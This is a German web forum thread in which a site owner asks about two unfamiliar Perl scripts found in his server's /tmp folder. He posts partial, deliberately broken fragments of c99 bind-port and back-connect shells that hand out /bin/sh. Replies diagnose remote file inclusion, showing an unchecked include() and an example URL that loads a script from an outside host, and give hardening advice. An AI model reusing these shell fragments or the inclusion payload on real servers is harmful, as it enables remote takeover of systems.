[Perl] Hack versuch mit perl

Einklappen
X
 
  • Filter
  • Zeit
  • Anzeigen
Alles löschen
neue Beiträge

  • [Perl] Hack versuch mit perl

    Hi leute ich bin jetzt schon vor ein paar tagen zu
    einem neuen Webhost gewechselt und habe jetzt
    meinen Halten durchsucht und alles unwichtige schon mal dort vom
    Server gelöscht.

    und wie ich so alles durchsuche finde Ich da im /tmp 2 .pl Datein die nicht von mir sind.

    Hab mir die Dann herunter geladen um sie mir mal anzusehen:

    c99sh_bindport.pl
    PHP-Code:
    #!/usr/bin/perl
    if (@ARGV 1) {exit(1);}
    $port $ARGV[0];
    exit if 
    fork;
    ....
    ...
    open STDOUT">&X";
    open STDERR">&X";
    exec("echo \"Welcome to c99shell!\r\n\r\n\"");
    while(
    1)
    {
     
    accept(XS);
     
    unless(fork)
     {
      
    open STDIN"<&X";
      
    open STDOUT">&X";
      
    close X;
      
    exec("/bin/sh");
     }
     
    close X;

    und c99sh_backconn.pl

    PHP-Code:
    a#!/usr/bin/perl
    use Socket;
    $cmd"lynx";
    $system'echo "`uname -a`";echo "`id`";/bin/sh';
    $
    0=$cmd;
    ......
    system($system);
    close(STDIN);
    close(STDOUT);
    close(STDERR); 
    kann mir wer sagen was diese Datein machen sollen , bzw wie die da hin gekommen sind, kann ja theoretisch nur durch einen PHP upload passiert sein. Aber keines meine Scripte sollte .pl Datein zulassen und überhaupt die Dateien die es Hochlädt im tmp ordner lassen ... und sonst ist auch nichts von einem Hackversuch zu sehen. (obwohl ich mich aus den Logs von vor 4 Monaten erinnere das versuche statt fanden ( suche nach weitverbreiteten und Fehlerhaften Scripts. aber ohne erfolg))

    Find ich irgendwie sehr komisch ....

    Edit: Hab jetzt den Code unütz gemacht, damit ihn niemand von hier verwenden kann.
    Zuletzt geändert von karltofel; 28.07.2007, 11:48.

  • #2
    http://en.wikipedia.org/wiki/Remote_File_Inclusion
    und google nach "c99 shell".

    Kommentar


    • #3
      imho kommen diese Dateien nicht durch eines deiner PHP Upload Scripts hinein. Denn afaik wird PHP eine solche Datei nach Abschluss des Uploads verschieben und wenn du das nicht machst wird sollte PHP die Datei im tmp löschen
      The file will be deleted from the temporary directory at the end of the request if it has not been moved away or renamed.
      Gutes Tutorial | PHP Manual | MySql Manual | PHP FAQ | Apache | Suchfunktion für eigene Seiten

      [color=red]"An error does not become truth by reason of multiplied propagation, nor does truth become error because nobody sees it."[/color]
      Mohandas Karamchand Gandhi (Mahatma Gandhi) (Source)

      Kommentar


      • #4
        Naja die googlei zu c99 shell hat mir nicht wircklich weiter geholfen,
        Hatt mir auch nur gesagt das es dazu verwendet wurde webseiten/server zu hacken, aber da wäre ich ja vermutlich nicht selber drauf gekommen.

        imho kommen diese Dateien nicht durch eines deiner PHP Upload Scripts hinein. Denn afaik wird PHP eine solche Datei nach Abschluss des Uploads verschieben und wenn du das nicht machst wird sollte PHP die Datei im tmp löschen
        Naja dann ist es mir nur noch rätzelhafter wie die auf den Server gelang sind ...

        egal man kann nicht allle rätzel lösen.

        Kommentar


        • #5
          rätsel

          Kommentar


          • #6
            Naja dann ist es mir nur noch rätzelhafter wie die auf den Server gelang sind ...
            Du wirst wohl irgendwo in deinem Code etwas in der Art
            PHP-Code:
            include($_POST['value']);
            //oder
            include($_GET['value']); 
            ohne entsprechende Prüfung der Daten machen. Wenn dir also jemand
            Code:
            http://deineDomain.de/deinScript.php?value=www.badpage.com/badScript.php
            dann baust du das in deinen Code ein. Im grossen und ganzen müsste dieses böse Script nur aus einem Formular bestehen, welches die Verarbeitung der Daten mittels eval() macht --> ergo hast du ne PHP Konsole und kannst mit dem Server machen was dir beliebt (Dateien und Verzeichnisse erstellen, Berechtigungen setzen, Dateien nachladen und auf den Server kopieren, den Quelltext deiner Seite ändern ...)

            Gruss

            tobi


            p.s. suche ALLE includes() in deinen Dateien, AUCH in jenen, die du nicht selber geschrieben hast. Schaue wie die Daten gerpüft werden bevor sie auf include() losgelassen werden. Hast du auf dem Server gar register_globals() auf on ?
            Gutes Tutorial | PHP Manual | MySql Manual | PHP FAQ | Apache | Suchfunktion für eigene Seiten

            [color=red]"An error does not become truth by reason of multiplied propagation, nor does truth become error because nobody sees it."[/color]
            Mohandas Karamchand Gandhi (Mahatma Gandhi) (Source)

            Kommentar

            Lädt...
            X